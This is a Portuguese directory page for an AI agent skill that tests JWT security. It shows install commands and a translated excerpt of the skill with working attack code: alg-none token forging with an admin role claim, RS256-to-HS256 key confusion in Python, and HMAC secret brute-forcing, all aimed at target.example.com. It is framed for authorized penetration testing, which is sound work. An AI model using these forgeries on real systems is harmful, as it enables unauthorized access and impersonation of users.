testing-jwt-token-security
Ajuda seu agente a verificar a segurança de tokens JWT. Ele procura por fraquezas que podem permitir que invasores acessem dados ou assumam a identidade de outros usuários. Essencial para proteger APIs.
O que ela faz
Esta ferramenta ajuda a verificar se a segurança de tokens de autenticação (chamados JWT) está forte. Ela procura por falhas que podem permitir que pessoas não autorizadas acessem informações ou realizem ações.
Quando usar
- ✓Ao testar a segurança de um site ou aplicativo.
- ✓Quando você suspeita que um token de acesso pode ter sido comprometido.
- ✓Para garantir que apenas usuários autorizados possam acessar certas partes de um sistema.
Exemplo do que pedir para a IA
“Verifique a segurança dos tokens JWT do meu aplicativo.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta analisa a estrutura do token, tenta burlar as regras de segurança e verifica se é possível modificar informações dentro do token para ganhar acesso indevido.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-jwt-token-securityOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-jwt-token-security/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando a Segurança de Tokens JWT
Quando Usar
- Durante testes de penetração autorizados quando a aplicação usa JWT para autenticação ou autorização
- Ao avaliar a segurança de APIs onde JWTs são passados como tokens Bearer ou em cookies
- Para avaliar implementações de SSO que usam tokens JWT/JWS/JWE
- Ao testar fluxos OAuth 2.0 ou OpenID Connect que emitem JWTs
- Durante auditorias de segurança de arquiteturas de microsserviços usando JWT para autenticação entre serviços
Pré-requisitos
- Autorização: Acordo escrito de teste de penetração para o alvo
- jwt_tool: Kit de ferramentas de ataque JWT (
pip install jwt_toolougit clone https://github.com/ticarpi/jwt_tool.git) - Burp Suite Professional: Com a extensão JSON Web Token da BApp Store
- Python PyJWT: Para scripts de ataques JWT personalizados (
pip install pyjwt) - Hashcat: Para força bruta de segredos HMAC (
apt install hashcat) - jq: Para processamento de JSON
- JWT do Alvo: Um token JWT válido da aplicação
Fluxo de Trabalho
Passo 1: Decodificar e Analisar a Estrutura do JWT
Extraia e examine os componentes de cabeçalho (header), carga útil (payload) e assinatura (signature).
# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}
# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}
# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"
# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)
Passo 2: Testar Ataque Algorithm None
Tente forjar tokens definindo o algoritmo como "none".
# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a
# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
"https://target.example.com/api/admin/users" | jq .
# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo -n "alg=$alg: "
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $FORGED" \
"https://target.example.com/api/admin/users"
echo
done
Passo 3: Testar Confusão de Algoritmo (RS256 para HS256)
Se o servidor usar RS256, tente mudar para HS256 e assinar com a chave pública.
# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .
# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl
# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json
# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
public_key = f.read()
# Create forged payload
payload = {
"sub": "1234567890",
"name": "Admin User",
"role": "admin",
"iat": 1516239022,
"exp": 9999999999
}
# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
"https://target.example.com/api/admin/users"
Passo 4: Força Bruta do Segredo HMAC
Se HS256 for usado, tente quebrar o segredo de assinatura.
# Usando jwt_tool com segredos comuns
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
…
Perguntas frequentes
O que é um token JWT?
É um pequeno pedaço de informação que um servidor envia para o seu navegador (ou aplicativo) para lembrar quem você é. É como um crachá de identificação digital.
Por que é importante testar a segurança de JWTs?
Se os tokens JWT não forem protegidos corretamente, um invasor pode falsificar um token para se passar por outra pessoa, roubar dados ou obter acesso a áreas restritas.
Preciso de conhecimento técnico para usar isso?
Sim, esta ferramenta é voltada para profissionais de segurança que entendem de testes de penetração e como os tokens JWT funcionam.
Detalhes
Descrição original do autor
Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6231
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC